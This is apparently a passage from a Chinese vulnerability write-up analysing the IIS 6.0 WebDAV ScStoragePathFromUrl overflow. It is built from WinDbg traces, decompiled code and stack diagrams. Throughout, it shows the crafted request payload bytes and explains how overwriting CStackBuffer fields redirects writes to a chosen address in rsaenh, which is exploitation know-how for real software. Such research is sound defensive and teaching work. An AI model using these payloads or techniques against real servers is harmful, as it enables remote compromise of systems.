0:007> p eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6 eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!ScConvertToWide+0x150: 6712721f ffd7 call edi {kernel32!MultiByteToWideChar (77e62fd6)} $$ 调用 MultiByteToWideChar 时的参数 0:007> dds esp L6 03fef5b0 0000fde9 $$ CP_UTF8 03fef5b4 00000000 $$ 0 03fef5b8 077f59a8 $$ pszHeader 03fef5bc 00000655 $$ strlen(pszHeader) + 1 03fef5c0 077f3350 $$ lpWideCharStr 03fef5c4 00000655 $$ strlen(pszHeader) + 1 $$ 转换前的字符串 0:007> db 077f59a8 077f59a8 3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73 <http://localhos 077f59b8 74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7 t/aaaaaaa....... 077f59c8 9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad ................ 077f59d8 b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3 ................ 077f59e8 e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6 ................ 077f59f8 9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90 ................ 077f5a08 b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5 ................ 077f5a18 e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5 ................ 0:007> p eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6 eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!ScConvertToWide+0x152: 67127221 85c0 test eax,eax $$ 转换后的字符串 0:007> db 077f3350 077f3350 3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00 <.h.t.t.p.:././. 077f3360 6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00 l.o.c.a.l.h.o.s. 077f3370 74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00 t./.a.a.a.a.a.a. 077f3380 61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a a.hocxaw3q6irG9z 077f3390 77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68 wKpOSuOzhHcVTmEh 077f33a0 53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69 S9lPgUcgd30FExRi 077f33b0 31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36 1TXLQjAr1B5pPXd6 077f33c0 47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32 Gl95jT4PCTRwaP22 |
根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer
使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。
当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie
。
1 2 3 4 5 6 7 8 |
<span class="hljs-selector-class">.text</span><span class="hljs-selector-pseudo">:671255F5</span> <span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">large</span> <span class="hljs-selector-tag">fs</span><span class="hljs-selector-pseudo">:0</span>, <span class="hljs-selector-tag">ecx</span> <span class="hljs-selector-class">.text</span><span class="hljs-selector-pseudo">:671255FC</span> <span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">ecx</span>, <span class="hljs-selector-attr">[ebp+var_10]</span> <span class="hljs-selector-class">.text</span><span class="hljs-selector-pseudo">:671255FF</span> <span class="hljs-selector-tag">pop</span> <span class="hljs-selector-tag">ebx</span> <span class="hljs-selector-class">.text</span><span class="hljs-selector-pseudo">:67125600</span> <span class="hljs-selector-tag">call</span> @<span class="hljs-keyword">__security_check_cookie</span>@<span class="hljs-keyword">4</span> .text:<span class="hljs-number">67125605</span> leave .text:<span class="hljs-number">67125606</span> retn <span class="hljs-number">8</span> .text:<span class="hljs-number">67125606</span> ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp |
在函数 HrCheckIfHeader
中存在两个 CStackBuffer
实例:
1 2 3 4 5 6 |
<span class="hljs-keyword">char</span> c_stack_buffer_1; <span class="hljs-comment">// [sp+44h] [bp-430h]@1</span> <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v29; <span class="hljs-comment">// [sp+148h] [bp-32Ch]@9</span> <span class="hljs-keyword">wchar_t</span> *stack_buffer1; <span class="hljs-comment">// [sp+14Ch] [bp-328h]@9</span> <span class="hljs-keyword">char</span> c_stack_buffer_2; <span class="hljs-comment">// [sp+150h] [bp-324h]@7</span> <span class="hljs-keyword">unsigned</span> __int16 *stack_buffer2; <span class="hljs-comment">// [sp+258h] [bp-21Ch]@8</span> |
基于前面对 CStackBuffer
内存布局的分析,可以知道这里栈空间的分布为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
┌─────────────────────────┐ │ 2<span class="hljs-selector-class">.heap_buffer</span>│ <span class="hljs-selector-tag">ebp-21C</span> ├─────────────────────────┤ │ 2<span class="hljs-selector-class">.fake_heap_size</span>│ <span class="hljs-selector-tag">ebp-220</span> ├─────────────────────────┤ │<span class="hljs-selector-tag">CStackBuffer2</span><span class="hljs-selector-class">.buffer</span><span class="hljs-selector-attr">[260]</span>│ <span class="hljs-selector-tag">ebp-324</span> ├─────────────────────────┤ │ 1<span class="hljs-selector-class">.heap_buffer</span>│ <span class="hljs-selector-tag">ebp-328</span> ├─────────────────────────┤ │ 1<span class="hljs-selector-class">.fake_heap_size</span>│ <span class="hljs-selector-tag">ebp-32C</span> ├─────────────────────────┤ │<span class="hljs-selector-tag">CStackBuffer1</span><span class="hljs-selector-class">.buffer</span><span class="hljs-selector-attr">[260]</span>│ <span class="hljs-selector-tag">ebp-430</span> └─────────────────────────┘ |
下面要重点分析的代码片段为:
1 2 3 4 5 6 7 8 9 10 11 |
res = pMethUtil->ScStoragePathFromUrl( buffer2.<span class="hljs-keyword">get</span>(), buffer1.<span class="hljs-keyword">get</span>(), &length); <span class="hljs-comment">// (1)</span> <span class="hljs-keyword">if</span> (res == <span class="hljs-number">1</span>) { <span class="hljs-keyword">if</span> (buffer1.resize(length)) <span class="hljs-comment">// (2)</span> { res = pMethUtil->ScStoragePathFromUrl( <span class="hljs-comment">// (3)</span> buffer2.<span class="hljs-keyword">get</span>(), buffer1.<span class="hljs-keyword">get</span>(), &length); } } |
(1) HrCheckIfHeader
第一次调用 ScStoragePathFromUrl
时传递的参数分析如下(函数返回值为 1
,长度设置为 0xaa
):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
<span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dds esp L3 <span class="hljs-number">03</span>faf7b4 <span class="hljs-number">077</span>d8eb<span class="hljs-number">0</span> $$ <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/localhost/aaaaaaa</span>.... <span class="hljs-number">03</span>faf7b8 <span class="hljs-number">03</span>faf804 $$ CStackBuffer1.buffer <span class="hljs-number">03</span>faf7bc <span class="hljs-number">03</span>faf80<span class="hljs-number">0</span> $$ <span class="hljs-number">000000</span>82 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dd <span class="hljs-number">03</span>faf80<span class="hljs-number">0</span> L1 <span class="hljs-number">03</span>faf80<span class="hljs-number">0</span> <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> db <span class="hljs-number">077</span>d8eb<span class="hljs-number">0</span> <span class="hljs-number">077</span>d8eb<span class="hljs-number">0</span> <span class="hljs-number">68</span> <span class="hljs-number">00</span> <span class="hljs-number">74</span> <span class="hljs-number">00</span> <span class="hljs-number">74</span> <span class="hljs-number">00</span> <span class="hljs-number">70</span> <span class="hljs-number">00</span>-<span class="hljs-number">3</span>a <span class="hljs-number">00</span> <span class="hljs-number">2</span>f <span class="hljs-number">00</span> <span class="hljs-number">2</span>f <span class="hljs-number">00</span> <span class="hljs-number">6</span>c <span class="hljs-number">00</span> h.t.t.p.<span class="hljs-symbol">:</span>././.l. <span class="hljs-number">077</span>d8ec<span class="hljs-number">0</span> <span class="hljs-number">6</span>f <span class="hljs-number">00</span> <span class="hljs-number">63</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">6</span>c <span class="hljs-number">00</span>-<span class="hljs-number">68</span> <span class="hljs-number">00</span> <span class="hljs-number">6</span>f <span class="hljs-number">00</span> <span class="hljs-number">73</span> <span class="hljs-number">00</span> <span class="hljs-number">74</span> <span class="hljs-number">00</span> o.c.a.l.h.o.s.t. <span class="hljs-number">077</span>d8ed<span class="hljs-number">0</span> <span class="hljs-number">2</span>f <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span>-<span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> <span class="hljs-number">61</span> <span class="hljs-number">00</span> /.a.a.a.a.a.a.a. <span class="hljs-number">077</span>d8ee<span class="hljs-number">0</span> <span class="hljs-number">68</span> <span class="hljs-number">6</span>f <span class="hljs-number">63</span> <span class="hljs-number">78</span> <span class="hljs-number">61</span> <span class="hljs-number">77</span> <span class="hljs-number">33</span> <span class="hljs-number">71</span>-<span class="hljs-number">36</span> <span class="hljs-number">69</span> <span class="hljs-number">72</span> <span class="hljs-number">47</span> <span class="hljs-number">39</span> <span class="hljs-number">7</span>a <span class="hljs-number">77</span> <span class="hljs-number">4</span>b hocxaw3q6irG9zwK <span class="hljs-number">077</span>d8ef<span class="hljs-number">0</span> <span class="hljs-number">70</span> <span class="hljs-number">4</span>f <span class="hljs-number">53</span> <span class="hljs-number">75</span> <span class="hljs-number">4</span>f <span class="hljs-number">7</span>a <span class="hljs-number">68</span> <span class="hljs-number">48</span>-<span class="hljs-number">63</span> <span class="hljs-number">56</span> <span class="hljs-number">54</span> <span class="hljs-number">6</span>d <span class="hljs-number">45</span> <span class="hljs-number">68</span> <span class="hljs-number">53</span> <span class="hljs-number">39</span> pOSuOzhHcVTmEhS9 <span class="hljs-number">077</span>d8f0<span class="hljs-number">0</span> <span class="hljs-number">6</span>c <span class="hljs-number">50</span> <span class="hljs-number">67</span> <span class="hljs-number">55</span> <span class="hljs-number">63</span> <span class="hljs-number">67</span> <span class="hljs-number">64</span> <span class="hljs-number">33</span>-<span class="hljs-number">30</span> <span class="hljs-number">46</span> <span class="hljs-number">45</span> <span class="hljs-number">78</span> <span class="hljs-number">52</span> <span class="hljs-number">69</span> <span class="hljs-number">31</span> <span class="hljs-number">54</span> lPgUcgd30FExRi1T <span class="hljs-number">077</span>d8f1<span class="hljs-number">0</span> <span class="hljs-number">58</span> <span class="hljs-number">4</span>c <span class="hljs-number">51</span> <span class="hljs-number">6</span>a <span class="hljs-number">41</span> <span class="hljs-number">72</span> <span class="hljs-number">31</span> <span class="hljs-number">42</span>-<span class="hljs-number">35</span> <span class="hljs-number">70</span> <span class="hljs-number">50</span> <span class="hljs-number">58</span> <span class="hljs-number">64</span> <span class="hljs-number">36</span> <span class="hljs-number">47</span> <span class="hljs-number">6</span>c XLQjAr1B5pPXd6Gl <span class="hljs-number">077</span>d8f2<span class="hljs-number">0</span> <span class="hljs-number">39</span> <span class="hljs-number">35</span> <span class="hljs-number">6</span>a <span class="hljs-number">54</span> <span class="hljs-number">34</span> <span class="hljs-number">50</span> <span class="hljs-number">43</span> <span class="hljs-number">54</span>-<span class="hljs-number">52</span> <span class="hljs-number">77</span> <span class="hljs-number">61</span> <span class="hljs-number">50</span> <span class="hljs-number">32</span> <span class="hljs-number">32</span> <span class="hljs-number">4</span>b <span class="hljs-number">6</span>d <span class="hljs-number">95</span>jT4PCTRwaP22Km <span class="hljs-number">077</span>d8f3<span class="hljs-number">0</span> <span class="hljs-number">34</span> <span class="hljs-number">6</span>c <span class="hljs-number">47</span> <span class="hljs-number">32</span> <span class="hljs-number">41</span> <span class="hljs-number">62</span> <span class="hljs-number">4</span>d <span class="hljs-number">37</span>-<span class="hljs-number">61</span> <span class="hljs-number">51</span> <span class="hljs-number">62</span> <span class="hljs-number">58</span> <span class="hljs-number">73</span> <span class="hljs-number">47</span> <span class="hljs-number">50</span> <span class="hljs-number">52</span> <span class="hljs-number">4</span>lG2AbM7aQbXsGPR <span class="hljs-number">077</span>d8f4<span class="hljs-number">0</span> <span class="hljs-number">70</span> <span class="hljs-number">36</span> <span class="hljs-number">44</span> <span class="hljs-number">75</span> <span class="hljs-number">6</span>a <span class="hljs-number">68</span> <span class="hljs-number">74</span> <span class="hljs-number">33</span>-<span class="hljs-number">4</span>a <span class="hljs-number">4</span>e <span class="hljs-number">6</span>b <span class="hljs-number">78</span> <span class="hljs-number">76</span> <span class="hljs-number">49</span> <span class="hljs-number">73</span> <span class="hljs-number">4</span>e p6Dujht3JNkxvIsN <span class="hljs-number">077</span>d8f5<span class="hljs-number">0</span> <span class="hljs-number">6</span>a <span class="hljs-number">4</span>c <span class="hljs-number">7</span>a <span class="hljs-number">57</span> <span class="hljs-number">71</span> <span class="hljs-number">6</span>f <span class="hljs-number">4</span>a <span class="hljs-number">58</span>-<span class="hljs-number">30</span> <span class="hljs-number">32</span> <span class="hljs-number">6</span>e <span class="hljs-number">37</span> <span class="hljs-number">49</span> <span class="hljs-number">4</span>b <span class="hljs-number">4</span>d <span class="hljs-number">52</span> jLzWqoJX02n7IKMR <span class="hljs-number">077</span>d8f6<span class="hljs-number">0</span> <span class="hljs-number">63</span> <span class="hljs-number">48</span> <span class="hljs-number">4</span>c <span class="hljs-number">6</span>f <span class="hljs-number">56</span> <span class="hljs-number">75</span> <span class="hljs-number">75</span> <span class="hljs-number">75</span>-<span class="hljs-number">6</span>f <span class="hljs-number">66</span> <span class="hljs-number">68</span> <span class="hljs-number">76</span> <span class="hljs-number">4</span>d <span class="hljs-number">44</span> <span class="hljs-number">70</span> <span class="hljs-number">50</span> cHLoVuuuofhvMDpP <span class="hljs-number">077</span>d8f7<span class="hljs-number">0</span> <span class="hljs-number">36</span> <span class="hljs-number">7</span>a <span class="hljs-number">4</span>b <span class="hljs-number">62</span> <span class="hljs-number">57</span> <span class="hljs-number">65</span> <span class="hljs-number">50</span> <span class="hljs-number">75</span>-<span class="hljs-number">72</span> <span class="hljs-number">6</span>a <span class="hljs-number">6</span>b <span class="hljs-number">7</span>a <span class="hljs-number">62</span> <span class="hljs-number">77</span> <span class="hljs-number">58</span> <span class="hljs-number">76</span> <span class="hljs-number">6</span>zKbWePurjkzbwXv <span class="hljs-number">077</span>d8f8<span class="hljs-number">0</span> <span class="hljs-number">48</span> <span class="hljs-number">62</span> <span class="hljs-number">31</span> <span class="hljs-number">65</span> <span class="hljs-number">54</span> <span class="hljs-number">30</span> <span class="hljs-number">79</span> <span class="hljs-number">6</span>c-<span class="hljs-number">4</span>a <span class="hljs-number">50</span> <span class="hljs-number">62</span> <span class="hljs-number">54</span> <span class="hljs-number">33</span> <span class="hljs-number">50</span> <span class="hljs-number">77</span> <span class="hljs-number">35</span> Hb1eT0ylJPbT3Pw5 <span class="hljs-number">077</span>d8f9<span class="hljs-number">0</span> <span class="hljs-number">77</span> <span class="hljs-number">6</span>a <span class="hljs-number">44</span> <span class="hljs-number">41</span> <span class="hljs-number">34</span> <span class="hljs-number">33</span> <span class="hljs-number">76</span> <span class="hljs-number">64</span>-<span class="hljs-number">46</span> <span class="hljs-number">4</span>d <span class="hljs-number">54</span> <span class="hljs-number">56</span> <span class="hljs-number">6</span>c <span class="hljs-number">47</span> <span class="hljs-number">43</span> <span class="hljs-number">65</span> wjDA43vdFMTVlGCe <span class="hljs-number">077</span>d8fa<span class="hljs-number">0</span> <span class="hljs-number">32</span> <span class="hljs-number">76</span> <span class="hljs-number">78</span> <span class="hljs-number">72</span> <span class="hljs-number">69</span> <span class="hljs-number">57</span> <span class="hljs-number">38</span> <span class="hljs-number">43</span>-<span class="hljs-number">72</span> <span class="hljs-number">62</span> <span class="hljs-number">30</span> <span class="hljs-number">5</span>a <span class="hljs-number">38</span> <span class="hljs-number">59</span> <span class="hljs-number">48</span> <span class="hljs-number">54</span> <span class="hljs-number">2</span>vxriW8Crb0Z8YHT <span class="hljs-number">077</span>d8fb<span class="hljs-number">0</span> <span class="hljs-number">02</span> <span class="hljs-number">02</span> <span class="hljs-number">02</span> <span class="hljs-number">02</span> c<span class="hljs-number">0</span> <span class="hljs-number">12</span> <span class="hljs-number">03</span> <span class="hljs-number">68</span>-<span class="hljs-number">44</span> <span class="hljs-number">6</span>c <span class="hljs-number">56</span> <span class="hljs-number">52</span> <span class="hljs-number">37</span> <span class="hljs-number">4</span>b <span class="hljs-number">6</span>d <span class="hljs-number">6</span>c .......hDlVR7Kml <span class="hljs-number">077</span>d8fc<span class="hljs-number">0</span> <span class="hljs-number">58</span> <span class="hljs-number">4</span>f <span class="hljs-number">5</span>a <span class="hljs-number">58</span> <span class="hljs-number">50</span> <span class="hljs-number">79</span> <span class="hljs-number">6</span>a <span class="hljs-number">49</span>-<span class="hljs-number">4</span>f <span class="hljs-number">58</span> <span class="hljs-number">52</span> <span class="hljs-number">4</span>a <span class="hljs-number">50</span> <span class="hljs-number">41</span> <span class="hljs-number">4</span>d <span class="hljs-number">66</span> XOZXPyjIOXRJPAMf <span class="hljs-number">077</span>d8fd<span class="hljs-number">0</span> c<span class="hljs-number">0</span> <span class="hljs-number">13</span> <span class="hljs-number">03</span> <span class="hljs-number">68</span> <span class="hljs-number">34</span> <span class="hljs-number">48</span> <span class="hljs-number">31</span> <span class="hljs-number">65</span>-<span class="hljs-number">43</span> <span class="hljs-number">6</span>f <span class="hljs-number">66</span> <span class="hljs-number">6</span>e <span class="hljs-number">41</span> <span class="hljs-number">74</span> <span class="hljs-number">6</span>c <span class="hljs-number">43</span> ...h4H1eCofnAtlC <span class="hljs-number">077</span>d8fe<span class="hljs-number">0</span> c<span class="hljs-number">0</span> <span class="hljs-number">13</span> <span class="hljs-number">03</span> <span class="hljs-number">68</span> <span class="hljs-number">43</span> <span class="hljs-number">53</span> <span class="hljs-number">41</span> <span class="hljs-number">6</span>a-<span class="hljs-number">52</span> <span class="hljs-number">70</span> <span class="hljs-number">30</span> <span class="hljs-number">33</span> <span class="hljs-number">66</span> <span class="hljs-number">58</span> <span class="hljs-number">4</span>c <span class="hljs-number">42</span> ...hCSAjRp03fXLB <span class="hljs-number">077</span>d8ff<span class="hljs-number">0</span> <span class="hljs-number">4</span>b <span class="hljs-number">70</span> <span class="hljs-number">46</span> <span class="hljs-number">63</span> <span class="hljs-number">73</span> <span class="hljs-number">51</span> <span class="hljs-number">41</span> <span class="hljs-number">79</span>-<span class="hljs-number">50</span> <span class="hljs-number">7</span>a <span class="hljs-number">6</span>c <span class="hljs-number">4</span>a <span class="hljs-number">3</span>e <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> KpFcsQAyPzlJ>... <span class="hljs-number">077</span>d900<span class="hljs-number">0</span> ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? |
(2) 因为 ScStoragePathFromUrl
返回 0xaa
,所以 buffer1.resize(0xaa)
并不会在堆上分配空间,而是直接使用栈上的 buffer
。
(3) 第二次调用 ScStoragePathFromUrl
时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size
被改写为 0x02020202
、CStackBuffer1.heap_buffer
被改写为 0x680312c0
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
<span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> dds esp L3 <span class="hljs-number">03</span>faf7b4 <span class="hljs-number">077</span>d8eb<span class="hljs-number">0</span> $$ <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/localhost/aaaaaaa</span>.... <span class="hljs-number">03</span>faf7b8 <span class="hljs-number">03</span>faf804 $$ CStackBuffer1.buffer <span class="hljs-number">03</span>faf7bc <span class="hljs-number">03</span>faf80<span class="hljs-number">0</span> $$ <span class="hljs-number">00000412</span> = ((<span class="hljs-number">0x104</span> * <span class="hljs-number">4</span>) <span class="hljs-params">| (0x82 & 3)) |</span> <span class="hljs-number">2</span> $$ 留意最后面 <span class="hljs-number">2</span> 个 DWORD 的值 <span class="hljs-number">0</span><span class="hljs-symbol">:</span><span class="hljs-number">006</span>> db ebp-<span class="hljs-number">430</span> L10C <span class="hljs-number">03</span>faf804 <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>-<span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> ................ <span class="hljs-number">03</span>faf814 c<span class="hljs-number">0</span> <span class="hljs-number">59</span> <span class="hljs-number">55</span> <span class="hljs-number">03</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>-<span class="hljs-number">00</span> <span class="hljs-number">10</span> 08 <span class="hljs-number">00</span> <span class="hljs-number">60</span> f8 fa <span class="hljs-number">03</span> .YU.........<span class="hljs-string">`... 03faf824 fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c .....d......p..| 03faf834 a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00 .n.|.....n.|.... 03faf844 01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00 ........#..|.... 03faf854 c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a ..{..........].. 03faf864 6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00 l......`</span>...<span class="hljs-string">`.... 03faf874 9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00 ...`</span><span class="hljs-number">4</span>...<span class="hljs-number">3</span>....... <span class="hljs-number">03</span>faf884 <span class="hljs-number">8</span>c <span class="hljs-number">1</span>e <span class="hljs-number">8</span>f <span class="hljs-number">60</span> <span class="hljs-number">52</span> <span class="hljs-number">23</span> <span class="hljs-number">8</span>f <span class="hljs-number">60</span>-<span class="hljs-number">22</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> ...<span class="hljs-string">`R#.`</span><span class="hljs-string">"....... 03faf894 00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00 ................ 03faf8a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03faf8b4 f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00 .g.w............ 03faf8c4 00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77 ........ ...J..w 03faf8d4 85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77 ....O...[ .g\..w 03faf8e4 5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67 [ .g.r.wO...[ .g 03faf8f4 13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07 ....X........d.. 03faf904 c0 17 bf 77 12 04 00 00-04 f8 fa 03 ...w........ ^^^^^^^^^^^ ~~~~~~~~~~~ 0:006> p eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2 eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x15e: 67125484 8bf0 mov esi,eax $$ 留意最后面 2 个 DWORD 的值 0:006> db ebp-430 L10C 03faf804 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p. 03faf814 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o. 03faf824 6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00 o.t.\.a.a.a.a.a. 03faf834 61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47 a.a.hocxaw3q6irG 03faf844 39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d 9zwKpOSuOzhHcVTm 03faf854 45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78 EhS9lPgUcgd30FEx 03faf864 52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58 Ri1TXLQjAr1B5pPX 03faf874 64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50 d6Gl95jT4PCTRwaP 03faf884 32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58 22Km4lG2AbM7aQbX 03faf894 73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78 sGPRp6Dujht3JNkx 03faf8a4 76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37 vIsNjLzWqoJX02n7 03faf8b4 49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76 IKMRcHLoVuuuofhv 03faf8c4 4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a MDpP6zKbWePurjkz 03faf8d4 62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54 bwXvHb1eT0ylJPbT 03faf8e4 33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56 3Pw5wjDA43vdFMTV 03faf8f4 6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a lGCe2vxriW8Crb0Z 03faf904 38 59 48 54 02 02 02 02-c0 12 03 68 8YHT.......h ^^^^^^^^^^^ ~~~~~~~~~~~ </span> |
通过!address
命令可知地址 0x680312c0
位于 rsaenh
模块中,具备 PAGE_READWRITE
属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
0<span class="hljs-selector-pseudo">:006</span>> !<span class="hljs-selector-tag">address</span> 680312<span class="hljs-selector-tag">c0</span> <span class="hljs-selector-tag">Failed</span> <span class="hljs-selector-tag">to</span> <span class="hljs-selector-tag">map</span> <span class="hljs-selector-tag">Heaps</span> (<span class="hljs-selector-tag">error</span> 80004005) <span class="hljs-selector-tag">Usage</span>: <span class="hljs-selector-tag">Image</span> <span class="hljs-selector-tag">Allocation</span> <span class="hljs-selector-tag">Base</span>: 68000000 <span class="hljs-selector-tag">Base</span> <span class="hljs-selector-tag">Address</span>: 68030000 <span class="hljs-selector-tag">End</span> <span class="hljs-selector-tag">Address</span>: 68032000 <span class="hljs-selector-tag">Region</span> <span class="hljs-selector-tag">Size</span>: 00002000 <span class="hljs-selector-tag">Type</span>: 01000000 <span class="hljs-selector-tag">MEM_IMAGE</span> <span class="hljs-selector-tag">State</span>: 00001000 <span class="hljs-selector-tag">MEM_COMMIT</span> <span class="hljs-selector-tag">Protect</span>: 00000004 <span class="hljs-selector-tag">PAGE_READWRITE</span> <span class="hljs-selector-tag">More</span> <span class="hljs-selector-tag">info</span>: <span class="hljs-selector-tag">lmv</span> <span class="hljs-selector-tag">m</span> <span class="hljs-selector-tag">rsaenh</span> <span class="hljs-selector-tag">More</span> <span class="hljs-selector-tag">info</span>: !<span class="hljs-selector-tag">lmi</span> <span class="hljs-selector-tag">rsaenh</span> <span class="hljs-selector-tag">More</span> <span class="hljs-selector-tag">info</span>: <span class="hljs-selector-tag">ln</span> 0<span class="hljs-selector-tag">x680312c0</span> 0<span class="hljs-selector-pseudo">:006</span>> <span class="hljs-selector-tag">u</span> 680312<span class="hljs-selector-tag">c0</span> <span class="hljs-selector-tag">L1</span> <span class="hljs-selector-tag">rsaenh</span>!<span class="hljs-selector-tag">g_pfnFree</span>+0<span class="hljs-selector-tag">x4</span>: 680312<span class="hljs-selector-tag">c0</span> 0000 <span class="hljs-selector-tag">add</span> <span class="hljs-selector-tag">byte</span> <span class="hljs-selector-tag">ptr</span> <span class="hljs-selector-attr">[eax]</span>,<span class="hljs-selector-tag">al</span> |
在解析 http://localhost/bbbbbbb......
时,数据将被直接填充到地址 0x680312c0
。此时,由于 CStackBuffer1
的长度已经 足够大,ScStoragePathFromUrl
只会被调用一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
